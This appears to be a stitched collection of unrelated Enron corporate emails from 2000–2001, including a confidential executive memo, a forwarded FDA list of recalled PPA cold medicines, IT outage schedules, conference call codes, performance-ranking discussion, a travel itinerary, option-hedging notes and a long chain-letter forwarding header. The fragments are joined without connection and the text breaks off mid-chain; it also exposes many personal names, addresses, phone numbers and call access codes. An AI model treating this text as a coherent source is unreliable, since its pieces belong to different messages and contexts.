From: 	McVicker, Maureen   On Behalf Of Kean, Steven
Sent:	Tuesday, February 06, 2001 4:42 PM
To:	Lay, Kenneth; Skilling, Jeff; Palmer, Mark; Frevert, Mark; Delainey, David; Dietrich, Janet; Kitchen, Louise; Whalley, Greg; Bibi, Philippe; Karen S Owens@ees; Leff, Dan; Sunde, Marty; Mahoney, Peggy; Lavorato, John J.
Subject:	CONFIDENTIAL - DO NOT DISTRIBUTE

CONFIDENTIAL - DO NOT DISTRIBUTE

Steve Kean would like your comments on this email as soon as possible.

Thanks.

 << File: 2001memoOrgChangesC.doc >> 

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Greetings Judge Minkin:

This is to inform that a representative of Enron Corp would like to address 
the Commission on the issue of utility rate stabilization plans at the 
Commission's hearings scheduled for December 27th and 28th.  Thank you.

Jeffrey Dasovich
Director, Enron Corp

FYI - Do not take these products anymore.

  -----Original Message-----
 From:  Brown Reed, Anitra D

 From your isn't it good to know someone in the FDA file:
 Here is a list of all of the products containing PPA that will be taken
 off of the market.
 Check to see if you have any of these products at home.....there are
 children products listed.

 Anitra D. Brown-Reed, Public Affairs Specialist
 CER\Philadelphia District
 215-597- 4390 ext.: 4202
 abrown2@ora.fda.gov

      Here's a list of the products containing PPA which are being removed
 from shelves.  (from the NY Times):

           Acutrim Diet Gum Appetite Suppressant Plus Dietary Supplements;

           Acutrim Maximum Strength Appetite Control;

           Alka-Seltzer Plus Children's Cold Medicine Effervescent;

           Alka-Seltzer Plus Cold Medicine (Cherry or orange flavor);

           Alka-Seltzer Plus Cold Medicine Original;

           Alka-Seltzer Plus Cold & Cough Medicine Effervescent;

           Alka-Seltzer Plus Cold & Flu Medicine Effervescent;

           Alka-Seltzer Plus Cold & Sinus Effervescent;

           Alka-Seltzer Plus Night-Time Cold Medicine Effervescent;

           BC Allergy Sinus Cold Powder;

           BC Sinus Cold Powder;

           Comtrex Deep Chest Cold & Congestion Relief;

           Comtrex Flu Therapy & Fever Relief Day & Night;

           Contac 12 Hour Cold Capsules;

           Contac 12 Hour Cold Caplets;

           Coricidin 'D' Cold, Flu & Sinus;

           Dexatrim Caffeine Free;

           Dexatrim Extended Duration;

           Dexatrim Gelcaps; Dexatrim Vitamin C/Caffeine Free;

           Dimetapp Cold & Allergy Chewable Tablets;

           Dimetapp Cold & Cough Liqui- Gels;

           Dimetapp DM Cold & Cough Elixir;

           Dimetapp Elixir;

           Dimetapp 4-Hour Liqui-Gels;

           Dimetapp 4-Hour Tablets;

           Dimetapp 12-Hour Extentabs Tablets;

           Naldecon DX Pediatric Drops;

           Permathene Mega-16;

           Robitussin CF;

           Tavist-D 12 Hour Relief of Sinus & Nasal Congrestion;

           Triaminic DM Cough Relief.

           Triaminic Expectorant Chest & Head Congestion;

           Triaminic Syrup Cold & Allergy

           Triaminic Triaminicol Cold & Cough.

F O R

November 21, 2001 5:00pm through November 26, 2001 12:00am

EES: 
Time:  Sat 11/24/2001 at  10:30:00 PM CT thru Sun 11/25/2001 at  6:30:00 AM CT
	Sat 11/24/2001 at    8:30:00 PM PT thru Sun 11/25/2001 at  4:30:00 AM PT
	Sun 11/25/2001 at  4:30:00 AM London thru Sun 11/25/2001 at  12:30:00 PM London
Outage:  EESHOU-FS2 "R" drive migration outage
Environments Impacted:  EES
Purpose: migration of "R" drive to larger disk space
Backout: restore from backup
Contact(s): 	Mark Jordan             713-562-4247  
		Roderic H Gerlach  713-345-3077  
		Jeff Hughes              713-345-8809
		Tom Novark              713-345-4962
 
ENRON NORTH AMERICAN LANS:  No Scheduled Outages.

Impact:  nahou-msmbx01p and 02p
Time:  Wed 11/21/2001 at  7:00:00 PM CT  thru Wed 11/21/2001 at  7:30:00 PM CT
	Wed 11/21/2001 at  5:00:00 PM PT thru Wed 11/21/2001 at  5:30:00 PM PT
	Thur 11/22/2001 at  1:00:00 AM London thru Thur 11/22/2001 at  1:30:00 AM
Outage:  nahou-msdog01v
Environments Impacted:  Messaging Team
Purpose: Need to make sure the hotfix works on a production box.
Backout: remove EXifs.sys and replace with the previous version.
 
OTHER: 
Impact:  ENPOWER Application
Time:  Sat 11/24/2001 at  10:00:00 AM CT thru Sun 11/25/2001 at  6:00:00 PM CT
	Sat 11/24/2001 a     8:00:00 AM PT thru Sun 11/25/2001 at  4:00:00 PM PT
	Sat 11/24/2001 at  4:00:00 PM London thru Mon 11/26/2001 at  12:00:00 AM London
Outage:  PWRPROD1 Maintenance
Environments Impacted:  EnPower Users
Purpose: Maintenance of database objects. Increase efficiency of space utilization and query performance of the EnPower system.
Backout: Revert to backed-up copies of objects (All will be backed-up prior to each re-org)
Contact(s): 	Michael Berger  713-345-3190  281-960-5571
		Oracle On-Call DBA  N/A  888-993-3793
		Charles Brewer  713-345-4868  281-960-7066
		Tantra Invedy  713-853-4304  281-960-7184

Impact: Corp
Time:   Thur 11/22/2001 at  6:00:00 AM CT thru Fri 11/23/2001 at  12:00:00 AM CT
	Thur 11/22/2001 at  4:00:00 AM PT thru Thur 11/22/2001 at 10:00:00 PM PT
	Thur  11/22/2001 at  12:00:00 PM London thru Fri 11/23/2001 at  6:00:00 AM London 
Outage: Test / Dev disk re layouts, server Croaker
Environments Impacted: Custom Logs (CEI), EnPower, Equities, ERP/TRV, Estreme Relocation, Etalk, Government Affairs, Infinity, ITOPS, IZZIE, OMS (Yantra), RMS, SIEBEL, WEBMODAL, REMEDY 
Purpose: Migrate to the new more efficient disk layout with enhanced performance now that testing is complete.
Backout: Restore original disklayout. Restore data from backup storage.
Contact(s):  Dolan, Michael713-345-3251
                   Wells, Malcolm713-345-3716
 
Outage: Test/Dev maintenance weekend, server Salmon
Environments Impacted: CAS, CPR, DCAF-2, ECM, EIM, Global, Infinity, MKM, PEP, POPS 
                    Wells, Malcolm713-345-3716
 
Time: Thur 11/22/2001 at  6:00:00 AM CT thru Fri 11/23/2001 at  12:00:00 AM CT
Outage: Test / Dev disk re layouts, Server Charon
Environments Impacted: OPM, EnLighten, RAM 
 
Time: Sat 11/24/2001 06:00 PM thru Sun 11/25/2001 6:00 AM CT
           Sat 11/24/2001 04:00 PM thru Sun 11/25/2001 4:00 AM PT
           Sun 11/25/2001 00:00 AM thru Sun 11/25/2001 12:00 PM London
Outage: Test / Dev disk re layouts, server Ferrari
Environments Impacted: CPR,EnPower, OMS (Yantra), Power-Exotic, SIEBEL, POPS 
 
Outage: Test / Dev disk re layouts for astral
Environments Impacted: DCAF3, EQUITIES, Phoenix, RMS, SITARA - OLTP, Infinity, ECM 
 
Outage: Test / Dev disk re layouts for titania
Environments Impacted: CAS, Custom Logs (CEI), Equities, Estreme Relocation, Global, Government Affairs, POPS, SIEBEL 

-------------------------------------------------------------------------------------------------------------------------------------

From: 	McVicker, Maureen   On Behalf Of Kean, Steven J.
Sent:	Thursday, November  15, 2001 1:42 PM
To:	Ambler, John; Brown, Bill W.; Brown, Ruth Ann; Castillo, Rosie; Caudell, Greg; Denne, Karen; DeSpain, Tim; Faldyn, Rodney; Ford, Sue; Freeland, Clint; Gentle, Jackie; Hiltabrand, Leslie; Koenig, Mark; Leboe, David; Maredia, Amin; Mayeux, Gay; McMahon, Jeffrey; Meyer, Vance; Murray, Julia; Palmer, Mark A. (PR); Philipp, Meredith; Radford, Pat; Schuler, Lance (Legal); Sczykutowicz, Marion; Siurek, Ryan; Thode, Eric; Tilney, Elizabeth
Cc:	Daw, Nicki; Derrick Jr., James; Fleming, Rosalee; Frevert, Mark; Lay, Kenneth; Olson, Cindy; Rogers, Rex; Taylor, Liz; Whalley, Greg
Subject:	Message Points from Today's Meeting

Today's message points are attached.

Attached is a copy of the Form 12B-25 Filing (Notification of Late Filing)

PLEASE NOTE - the call will take place daily at 10:30 am in EB 4701.  If you are unable to attend, please send someone from your group in your place.

DAILY CALL:

TIME:			10:30 am (Central)

PLACE:		EB 4701 (for those in Houston)

DOMESTIC
CALL IN #		877-214-0402

CALL IN #		601-352-8646

HOST CODE		564778  (for Steve Kean's use only)

PARTICIPANT CODE	285987

Hi Reagan,

Have you revised the exhibits to clarify the scope of scheduling services?

Thanks,

Kay

I realize the group may go a different way with this, but I remain convinced 
that we should go to a pure number system (ie a pure relative ranking) and 
use the behaviors and skills descriptions as a way of discussing the 
differences between people.  Just adding the qualifier "relative to peers" 
glosses over what's really going on.  The behavior and skill descriptors tell 
everyone what is valued here and guide the discussion.  The relative ranking 
lets us have the flexibility to meet business needs by getting tighter or 
"looser" on performance rankings, terminations, and comp.

	Gina Corteselli
	10/16/2000 01:31 PM
		 
		 cc: Cindy Olson/Corp/Enron@ENRON, David Oxley/HOU/ECT@ECT, Andrea 
Yowman/Corp/Enron@ENRON
		 Subject: PRC Cluster Descriptors

Steve, 

We have revised the PRC Cluster descriptors again, in an attempt to include 
"relativity" into the language.  Likewise,  for consistency we opted  not to 
change them too drastically at the year end.  Instead we will look at making 
other changes (for example, reducing the number of clusters from 6 to 5 
and/or changing the wording)  at the mid-year 2001.

The VP PRC Committee had a chance to look at the revised clusters at last 
week's meeting.  However, I apologize that I did not send them to you in 
advance of that meeting.  

Cindy has asked me to send them to the Executive Committee after you have had 
a chance to review them.  

Please let me know what you think.  

Thanks in advance,

Gina Corteselli

Hi Rosalee,

Just wanted to let you know that I received your voice mail message saying
that Mr. Lay will not be attending the October 23, i2 Board of Directors
meeting.  Thanks for getting back to me.

Barbette Joy Watts
Executive Assistant to David Becker
One i2 Place, 3rd Floor
469-357-3460 (Direct)
469-357-6769 (Fax)
barbette_watts@i2.com

Thanks for your note - I'll keep those items in mind.  It seems pretty clear 
to me that the Pres. has something of a bricks and mortar agenda and some 
gentle nudges towards a more academic path may be needed.   I asked Mark 
Kopinski, who is also coming to the planning meeting, if he wanted to join us 
for dinner so I've sent him a note asking if he wants to go to the play or 
not - I'll let you know what he says - I have mixed feelings since I'd like 
to see the play but would regret the time we could have spent chatting.

FYI

From: Julie Hunt [mailto:jhunt_vitoltvl@yahoo.com]
Sent: Friday, October 12, 2001 3:43 PM
To: IRANGEL@ENRON.COM
Subject: Wolfe 14oct hou to portland------ETKT

                                          AGENT JH/JH BOOKING REF
YKRQ2M
 
                                          WOLFE/JASON
 
  ENRON
  1400 SMITH
  HOUSTON TX 77002
  INA RANGEL X37257
 
  DATE:  OCT 12 2001
 
SERVICE               DATE  FROM           TO             DEPART 
ARRIVE
 
CONTINENTAL AIRLINES  14OCT HOUSTON TX     PORTLAND OR    540P    807P
CO 640     Q          SUN   G.BUSH INTERCO PORTLAND INTL
                            TERMINAL C
                            SNACK                         NON STOP
                            RESERVATION CONFIRMED         4:27 DURATION
                  AIRCRAFT: BOEING 737-800
                            NO SMOKING SEAT REQUESTED FOR WOLFE/JASON
 
HOTEL                 14OCT MARRIOTT PORTLAND DOWNTOWN
                      17OCT 1401 SW NAITO PARKWAY
                            PORTLAND, OR 97201
                            UNITED STATES OF AMERICA
                            TELEPHONE: 1-503 2267600
                            FAX: 1-503 2211789
                            CONFIRMATION: 82536447
                            REFERENCE: ENRB00
                            SINGLE ROOM
                            RATE: ENR USD 109.00 PER NIGHT
                            GUARANTEE GIVEN
 
CONTINENTAL AIRLINES  17OCT PORTLAND OR    HOUSTON TX     300P    905P
CO 128     Q          WED   PORTLAND INTL  G.BUSH INTERCO
                                           TERMINAL C
                            RESERVATION CONFIRMED         4:05 DURATION
                  AIRCRAFT: BOEING 737-300
 
THIS IS A TICKETLESS RESERVATION. PLEASE HAVE A
ICTURE ID AVAILABLE AT THE AIRPORT. THANK YOU
***********************************************
NON-REFUNDABLE TKT MINIMUM $100.00 CHANGE FEE
THIS TICKET WAS PUT ON INA RANGEL AX CARD PER INA
                  THANK YOU FOR CALLING VITOL TRAVEL

=====
Vitol Travel Services
713 Fargo
Houston, Tx 77006
(800) 724-7002
(713) 526-0633

Make a great connection at Yahoo! Personals.
http://personals.yahoo.com

---------------------- Forwarded by Larry F Campbell/NA/Enron on 09/05/2000 

Larry F Campbell
09/05/2000 04:30 PM
To: Keller Mayeaux/Corp/Enron@Enron
cc:  

Subject: 

http://www.vegasinsider.com/u/football/college/2000returnees.htm

Eugene,

Bob and I had a discussion about your question you raised yesterday.

For an option writer, he has the obligation to deliver, so he hedges it with 
the underlying by adjesting delta positions.  The hedging cost, theoretically,
should be equal to the fair value of the option premium. 

On the other hand, for the option holder, he has no obligation, by delta 
heging,
he would pay double for the option, with no upside.  So he should not hedge 
it at all.

If the option holder wants to protect the time value of the option, he should 
sell 
the option to the market or some equivalent options to create a theta-neutral 
portfolio.
This may require trading in both the orginal and the equivalent option 
underlyings.  

Our question to you, if the call options you mentioned are embedded in the 
EES 
contracts, say fixed price sale contracts, What makes it possible to just 
separate those options
and sell them to the market to retain the full values of the options ?  We 
conjecture that these
 options are meant to hedge the original contract. By selling those options 
you eliminate the upside of the
 original contract.

Give one of us a call if you want to discuss this further.

Zimin

First Union Securities, Inc.

Hello Sara.  I wasn't sure if we had finalized discussions on an EITF 0019
compliant confirmation for derivatives on Enron Corp.  Stock.  I'll call you
tomorrow to make sure you receive this.

 <<ISUSUER.Put.00-19(7-20-01).doc>>

This is for your information only and is not an offer to sell, or a solicitation of an offer to buy, the securities or instruments mentioned.  The information has been obtained or derived from sources believed by us to be reliable, but we do not represent that it is accurate or complete.  Any opinions or estimates contained in this information constitute our judgement as of this date and are subject to change without notice.  First Union Securities, Inc. (FUSI), or its affiliates may provide advice or may from time to time acquire, hold or sell a position in the securities mentioned herein.  FUSI is a
subsidiary of Wachovia Corporation and is a member of the NYSE, NASD and SIPC.  FUSI is a separate and distinct entity from its affiliated banks and thrifts.

 - ISUSUER.Put.00-19(7-20-01).doc 

---------------------- Forwarded by Kayne Coulter/HOU/ECT on 04/25/2001 03:21 

04/25/2001 03:11 PM
To: Miguel L Garcia/NA/Enron@ENRON, Mauricio Trejo/Enron@EnronXGate, Rudy 
Acevedo/HOU/ECT@ECT
cc: Kayne Coulter/HOU/ECT@ECT 
Subject: Incorrectly booked deals

Please change the following deals to the correct counterparty
NRG Power Marketing Inc.  Please do not pick NRG Energy Inc.   This CP is for 
swaps only.  Power Marketing is for physical power.   Please Please Please 
select the correct CP.

589885
591068
591123

Attached please find the ISO's comments, as filed at FERC (including 3
attachments), and the Market Surveillance Committee's comments, which we are
unclear whether these were filed or not. IEP is currently reviewing them in
light of the accusations made today and with respect to the overall flaws
with the ISO Market Stabilization Plan.  We will keep you posted.

Katie Kaplan
Manager of State Policy Affairs
Independent Energy Producers Association
(916) 448-9499

 - ISO Comments attch A.pdf
 - ISO Comments attch B.pdf
 - ISO Comments attch C.pdf
 - ISO Comments on FERC Mitigation.pdf
 - MSC Comments on FERC mitigation.pdf

I will follow up on monday morning.

(713) 853-5267
(877) 597-0646 pager

From: Presto, Kevin M. <Kevin.M.Presto@ENRON.com>
To: Kitchen, Louise <Louise.Kitchen@ENRON.com>
CC: Suarez, John <John_Suarez@ENRON.net>
Sent: Sat Sep 15 18:51:20 2001
Subject: FW: Enrico Bauli

Louise - Do you know this gentleman from your days in London?   His resume looks good and he is interested in moving to Houston and working in East Power.
 
John Suarez - You are going to need at least one and probably two solid cash/term traders for the SE region.   Talk to Seresh about this guy.

From: Bauli, Enrico 
Sent: Thu 9/13/2001 6:42 AM 
To: Presto, Kevin M. 
Cc: 
Subject: Enrico Bauli

Kevin, 
thanks for taking a look at this. 
I will talk to you in the next days to see if you think I will make enough money for you. 

Best Regards, 
Enrico 
+44 207 783 6560 

<<CV194.doc>> 

Hi - Thanks for Sat. - that was fun.  Can you play Tues or Thurs lunch?

Approved.  Do we have extra monitors/keyboards already on the floor?
----- Forwarded by Mark Taylor/HOU/ECT on 02/28/2001 05:27 PM -----

	Holly Keiser@ENRON_DEVELOPMENT
	02/28/2001 04:39 PM
		 
		 To: Mark Taylor@ECT
		 cc: Samantha Boyd@Enron, Mary Cook@ECT
		 Subject: New Equipment

Mark:

Samantha Boyd is in need of a new computer monitor/ keyboard.  The monitor 
screen is visibly unclear which makes it extremely difficult to read.  In 
addition, the keys on the key board are sticky.  With your authorization, can 
these items be replaced with new equipment? 

Thanks,

To All:

Attached is a credit worksheet to amend the counterparty threshold amount for 
this executed ISDA.  I sent a similar e-mail up to the group 4/17, but have 
since amended the threshold a second time.

Please use this worksheet to prepare the appropriate amendment language.

Thank you,

Russell

Attached please find the latest LV Cogen Turbine Agreement (second
document below) that provides notices to Enron North America, as agent
for E-Next Generation, and changes to the signature blocks.  Also
attached is a blackline (first document below) showing changes made to
the version circulated on April 10. Pursuant to instructions received
from Kay Mann and Bill Williams, this version does not contain the
contractor's comments.  To complete the agreement, we will need to
insert the date of execution and Exhibit H-2.
 <<Comparison of LV Cogen Agreement, Versions 3 to 5.DOC>>  <<LV Cogen
Gas Turbine Agreement - Version 5.DOC>> 
 - Comparison of LV Cogen Agreement, Versions 3 to 5.DOC
 - LV Cogen Gas Turbine Agreement - Version 5.DOC

Thanks!
 <grin>

   Kate Symes                02/14/2001 04:19 PM

To: Sharen Cason/HOU/ECT@ECT
cc:  
Subject: Re: #523070  

sorry! that's a little vague - it's been changed to CAISO energy.

	From:  Sharen Cason                           02/14/2001 02:20 PM
	
cc: Kimberly Hundl/Corp/Enron@Enron 

Subject: #523070

This deal has an SP delivery point with firm energy.

Thanks!

---------------------- Forwarded by Jennifer Cutaia/Corp/Enron on 11/27/2000 
08:25 AM ---------------------------

veronica.gonzalez@pahou.panmail.com on 11/27/2000 08:12:24 AM
To: jennifer.cutaia@enron.com, sabrina.balderas@pahou.panmail.com, 
sfranco@theassistancefund.org
cc:  

Subject: FW: [Fwd: [Fwd: FW: FW: cancer: don't u dare delete]]

From: mayra maldonado
Sent: Monday, November 20, 2000 2:58 PM
To: Veronica Gonzalez

*********************************************************************
Panalpina Houston
16230 De Zavala Rd.
Houston, Tx.  77530
Phone:   281-457-7455     Fax:   281-457-7499
Internet:mayra.maldonado@pahou.panmail.com
Panmail: HOUHFPT

From: mary diaz
Sent: Monday, November 20, 2000 12:42 PM
To: Mayra Maldonado

Thanks for your immediate attention
Mary Helen Diaz
Panalpina Discrepancy Clerk  for
Transocean Sedco-Forex
Phone: (281)457-7477
Fax: (281)457-7499
mary.diaz@pahou.panmail.com

From: Ester Rodriguez
Sent: Monday, November 20, 2000 11:30 AM
To: Mary Diaz

pls read go all thru this mesage its important!!!! ester

Panalpina USA, Houston
Phone:    281-446-0600,          FAX: 281-548-7575
Internet:Ester.Rodriguez@pahou.panmail.com

From: Maria C Cruz
Sent: Monday, November 20, 2000 10:22 AM
To: Idalia Rocha; Edna Velez; Ester Rodriguez; Melissa Toups; Rose Lopez; 
Amber Seidel

18600 LEE ROAD
HUMBLE,TX. 77338  U.S.A.
X.400:    /c=us/a=400net/p=panmail/o=hou/s=Cruz/g=Maria
Internet: Maria.Cruz@pahou.panmail.com

From: Melanie L Callahan
Sent: Monday, November 20, 2000 9:58 AM
To: Maria Cruz

X.400:    /c=us/a=400net/p=panmail/o=hou/s=Callahan/g=Melanie
Internet: Melanie.Callahan@pahou.panmail.com

From: jessica leyer
Sent: Monday, November 20, 2000 9:44 AM
To: MCCKOV@AOL.COM; cryer@sunpacking.com; Michaela76@worldnet.att.net; 
sar11197@aol.com
Cc: Dianna Pyle; Amy Wilson; Melanie Callahan; Andrew Lehne; Deborah Bragg; 
Monica Williams

18600 Lee Road
Humble, TX 77338
Phone:   281-446-0600  x.437         Fax:   281-548-7693
Nabors Packing Coordinator
Internet: jessica.leyer@pahou.panmail.com

From: Tammy Luckey
Sent: Monday, November 20, 2000 9:41 AM
To: Jessica Leyer; Dianna Pyle; Theresa Moore; Sharon Walton

REGARDS,
TAMMY LUCKEY

Phone:    281-446-0600,EXT. 442          FAX: 281-548-7693
Internet: Tammy.Luckey@pahou.panmail.com

From: t.luckey@worldnet.att.net [SMTP:t.luckey@worldnet.att.net]
Sent: Monday, November 20, 2000 9:15 AM
To: Harelegs@aol.com; TAGHORSE@aol.com; LPhil41424@aol.com; 
kaitlynrose@ev1.net; Tammy Luckey; jwb115@quik.com; cyndiemoses@hotmail.com; 
mwiggins@transtexasgas.com; pfiester@txucom.net; SHARON1965@worldnet.att.net
Subject: Fw: [Fwd: [Fwd: FW: FW: cancer: don't u dare delete]]

From: D & K'S <dandks@netzero.net>
To: srchgrl@wt.net <srchgrl@wt.net>; sfelton01 <sfelton01@email.msn.com>;
Ruby & Bob <price-bbq@tycom.net>; outlaw@netzero.net <outlaw@netzero.net>;
luckey <t.luckey@worldnet.att.net>; LPFD52@aol.com <LPFD52@aol.com>; Kathy
<rgnuts3@cs.com>; Katha Wylie <kwylie@usfworldwide.com>; Henry
<hecpilot@ev1.net>; Glenn Weathersby <KMB2004@aol.com>; Eric Johnston
<ejohnston@bjservices.com>; Ed.Horton <nubbinujean@aol.com>;
don.a.price@basell.com <don.a.price@basell.com>; DFrames@aol.com
<DFrames@aol.com>; Darran Williams <CompGuy317@aol.com>; David Paschal
<dpascha2@bellsouth.net>; D&k's <dandks@netzero.net>; CJ
<AngelB1648@aol.com>; bgambrel@gvtc.com <bgambrel@gvtc.com>; Betty Price
<bhuffman@network-one.com>
Date: Saturday, November 18, 2000 11:03 AM

>
>From: "JOSEPH, Agnes" <Agnes_JOSEPH@montellna.com>
>To: "MCMILLIN, Sue" <Sue_MCMILLIN@montellna.com>; "GEORGE, Denise"
><Denise_GEORGE@montellna.com>; "GOLDEN, Linda"
<Linda_GOLDEN@montellna.com>;
>"TAVENEY, Danya" <Danya_TAVENEY@montellna.com>; "LEBLANC, Bridget"
><Bridget_LeBlanc@montellna.com>; <adeliad@aol.com>; <ahalsey@bcbsal.org>;
><fking0509@cs.com>; <prichard34@aol.com>; <wwpop1@aol.com>
>Sent: Friday, November 17, 2000 8:54 AM
>Subject: FW: [Fwd: [Fwd: FW: FW: cancer: don't u dare delete]]
>
>
>>
>>
>> -----Original Message-----
>> From: DAvery@fwenc.com [mailto:DAvery@fwenc.com]
>> Sent: Thursday, November 16, 2000 2:50 PM
>> To: jazzman281@yahoo.com; tavery@mobilnet.gte.com; nbraden71@yahoo.com;
>> brown111@peoplepc.com; jcarmich@norrell.com; dawsonfam@cell2000.net;
>> NJDehner@pgc.state.pa.us; vitracm@ci.sat.tx.us; vjh@flash.net;
>> ELJ151@aol.com; jamesproverbs@aol.com; JenkinsFour@gateway.net;
>> agnes.joseph@basell.com; ronnie.joubert@basell.com; leproducts@juno.com;
>> tmitchel@pahousegop.com; juliep@neosoft.com; mquinn@muskegon.k12.mi.us;
>> reynody@texaco.com; loveablelady_1@hotmail.com;
>> chatsworth65@hotmail.com; bjwhite@pgc.state.pa.us
>> Subject: FW: [Fwd: [Fwd: FW: FW: cancer: don't u dare delete]]
>>
>>
>>
>> ----- Forwarded by Denise Avery/Houston/FWENC on 11/16/2000 02:53
PM -----
>>
>>
>>                     "Jenkins, Karen"
>>
>>                     <Karen.Jenkins@usa.        To:
>"'rontk827@ev1.net'"
>> <rontk827@ev1.net>, "'vghngibs@aol.com'"
>>                     xerox.com>                 <vghngibs@aol.com>,
>> "'Davery@fwenc.com'" <Davery@fwenc.com>,
>>                                                "'tjenki01@coair.com'"
>> <tjenki01@coair.com>, "'mjen281@yahoo.com'"
>>                     11/16/2000 01:49 PM        <mjen281@yahoo.com>
>>
>>                                                cc:
>>
>>                                                Subject:     FW: [Fwd:
>[Fwd:
>> FW: FW: cancer: don't u dare delete]]
>>
>>
>>
>>
>>
>>
>>
>>
>> Karen Jenkins
>>
>>
>> From: Garza, Debbi
>> Sent: Thursday, November 16, 2000 10:03 AM
>> To: Jenkins, Karen; Halloran, Monica; Lamb, Helen; Christensen, Maria;
>> Allsup, Norma Y; Janoe, Ann G; Mccreery, Carolyn; Molina, Diana
>>
>>
>>
>>
>> From: Karen Pacheco [mailto:kpacheco@opl.com]
>> Sent: Wednesday, November 15, 2000 4:33 AM
>> To: Carolyn Lansaw; Garza, Debbi; ray wenrich
>> Subject: [Fwd: [Fwd: FW: FW: cancer: don't u dare delete]]
>>
>>
>>
>>
>> -------- Original Message --------
>> Subject: [Fwd: FW: FW: cancer: don't u dare delete]
>> Date: Tue, 14 Nov 2000 08:24:44 -0600
>> From: Diana Vela <dvela@opl.com>
>> Reply-To: dvela@opl.com
>> Organization: Omega Point Laboratories, Inc.
>> To: Cactus Juice <Cactusdoes@aol.com>, Chip <chaby@opl.com>,Cleda
>> <cpatton@opl.com>, Connie <connie@opl.com>,cora & rey
>> <corarey@txconnect.com>, Dino <wdpullin@yahoo.com>,Duane
>> <dscribner@opl.com>, Jeannette <jemmons@opl.com>,Jimbo
>> <jbundick@bigfoot.com>, Karen Pacheco <kpacheco@opl.com>,"ME (HOME)"
>> <dvela1@academicplanet.com>,"Omega (Donna)" <moreinfo@opl.com>, "Pullin,
>> Dean" <pullind@kci1.com>,"Sandy.Tehrani@target.com"
>> <Sandy.Tehrani@target.com>,"Sandy, Prissy, Uncle Mike and Lanay Tehrani"
>> <mteh417091@aol.com>,Valerie <vpeavler@opl.com>
>>
>>
>> Content-transfer-encoding: 7BIT
>> Content-type: text/plain; charset=iso-8859-1
>>
>>
>>
>>  -----Original Message-----
>> From:     Pam Kresse
>> Sent:     Monday, November 13, 2000 8:34 AM
>> To:  Cindy Scribner; Fran Young; Jo Ann Schweers; Patty Ellis; Terri
>> Payne
>> Subject:  FW: FW: cancer: don't u dare delete
>>
>>
>>
>> From:     Kirk Mooney [mailto:kmooney@e-sourceinc.com]
>> Sent:     Monday, November 13, 2000 10:25 AM
>> To:  Pam Kresse
>>
>>
>>
>> From:     Connie Stewart [mailto:connies@e-sourceinc.com]
>> <mailto:[mailto:connies@e-sourceinc.com]>
>> Sent:     Friday, November 10, 2000 7:59 AM
>> To:  'JULIE WENTWORTH'; 'KATHERINE YOUNG'; 'KIM TILLOTSON'; 'KIRK C.
>> MOONEY';
>> 'KIM TILLOTSON'
>> Cc:  'LINDSAY CLARK'; 'MARY LEE CRUZ'; 'MATT NYBECK'; 'NICOLE POTTER'
>>
>>
>>
>> From:     Eloiett Johnson [mailto:eloiett.johnson@whiteandassociates.net]
>> <mailto:[mailto:eloiett.johnson@whiteandassociates.net]>
>> Sent:     Friday, November 10, 2000 8:41 AM
>> To:  Ron Stewart; 'Richard Grover'; Jennifer Lowery; Jean Williams;
>>      Eloiett J; Dave Dahl; Connie Stewart; Chad Womack; Billy Gibbons;
>> Adam
>>      Foxworthy; Joe and Zenia
>>
>>
>>
>>
>>
>>
>>
>> From:     Kristy Richards [mailto:kristy.richards@whiteandassociates.net]
>> <mailto:[mailto:kristy.richards@whiteandassociates.net]>
>> Sent:     Friday, November 10, 2000 8:32 AM
>> To:  Stephanie Park; Sandy Seaton; Rita E. Taylor; Patti Long; Eloiett
>>      Johnson; Debbie Miller; Crystal King; Billy Gibbons
>>
>>
>>
>>
>> From:     Rachel Burns [mailto:rachella@usit.net]
>> <mailto:[mailto:rachella@usit.net]>
>> Sent:     Thursday, November 09, 2000 9:43 PM
>> To:  Charlie Brooke (E-mail); Aunt Di (E-mail); Christi and Ben (E-mail);
>>      Crystal (E-mail); Cynthia (E-mail); Dana Marbry (E-mail); Dee Dee
>> (E-mail);
>> Gene (E-mail); Donna Gale (E-mail); Glenda Kay (E-mail);
>>      Jeremy (E-mail); John Mark (E-mail); Kellie (E-mail); Kristy
>> (E-mail) >;
>>      Kristy and Marty (E-mail); Kristy F (E-mail); Misty (E-mail); Paula
>> (E-mail); Peggy (E-mail); Robert and Anita (E-mail); Robin (E-mail);
>>      Shane (E-mail); Sherry and Johnny (E-mail); Susan (E-mail); Vicki
>> (E-mail)
>>
>>
>>
>>
>> From:     Reachel Whitley [SMTP:raynelyn@hotmail.com]
>> <mailto:[SMTP:raynelyn@hotmail.com]>
>> Sent:     Thursday, November 09, 2000 9:00 AM
>> To:  rachella@usit.net; kaofa2@hotmail.com; pops@usit.net
>> Subject:  Fwd: FW: cancer: don't u dare delete
>>
>>
>>
>>
>> >From:    Crenshaw@dscclan.dscc.cc.tn.us
>> >To: DIMUCCI@JUNO.COM, ITM_181@YAHOO.COM, RAYNELYN@HOTMAIL.COM,
>> >HICKERSON@PEOPLEPC.COM, JTAYLOR@DSCCLAN.DSCC.CC.TN.US
>> >Subject: FW: cancer:   don't u dare delete
>> >Date:    Wed, 1 Nov 2000 15:04:22 -0600
>> >
>> >
>> >
>> >-----Original Message-----
>> >From:    Rockett, Sandra
>> >Sent:    Wednesday, November 01, 2000 2:30 PM
>> >To: 'drobrockett@cs.com'; Burg, Kelley; Crenshaw, Barbara; Weatherly,
>> >Beverlee; Wooten, Judy; Jones, Margaret; Crenshaw, Barbara; Howell,
>> >Kelley; Dahl, Pam; Feather, Carol
>> >Subject: FW: cancer: don't u dare delete
>> >
>> >
>> >
>> >
>> >From:    LARRY C. ZERINGUE [mailto:zeringue4@eatel.net]
>> <mailto:[mailto:zeringue4@eatel.net]>
>> >Sent:    Thursday, August 24, 2000 7:26 AM
>> >To: Betsy Leblanc; brittany m.; brittney zeringue; courtney Robert;
>> >Elizabeth Carbo; jordan poche; katie; kayla oubre; lauren leblanc; liz
>> >m.; SSamDani@aol.com
>> >Subject: Fw: cancer: don't u dare delete
>> >
>> >
>> >
>> >From:    Btslover05@aol.com <Btslover05@aol.com
><mailto:Btslover05@aol.com
>> >>
>> >To: LILSkater1986@cs.com <LILSkater1986@cs.com
>> <mailto:LILSkater1986@cs.com>>; Bledsoe_Becky@hotmail.com
>> ><Bledsoe_Becky@hotmail.com <mailto:Bledsoe_Becky@hotmail.com>>;
>> MoonStarLJ@aol.com <MoonStarLJ@aol.com <mailto:MoonStarLJ@aol.com>>;
>> >AKAtherabbi@aol.com <AKAtherabbi@aol.com <mailto:AKAtherabbi@aol.com>>;
>> ShinninStar128@aol.com
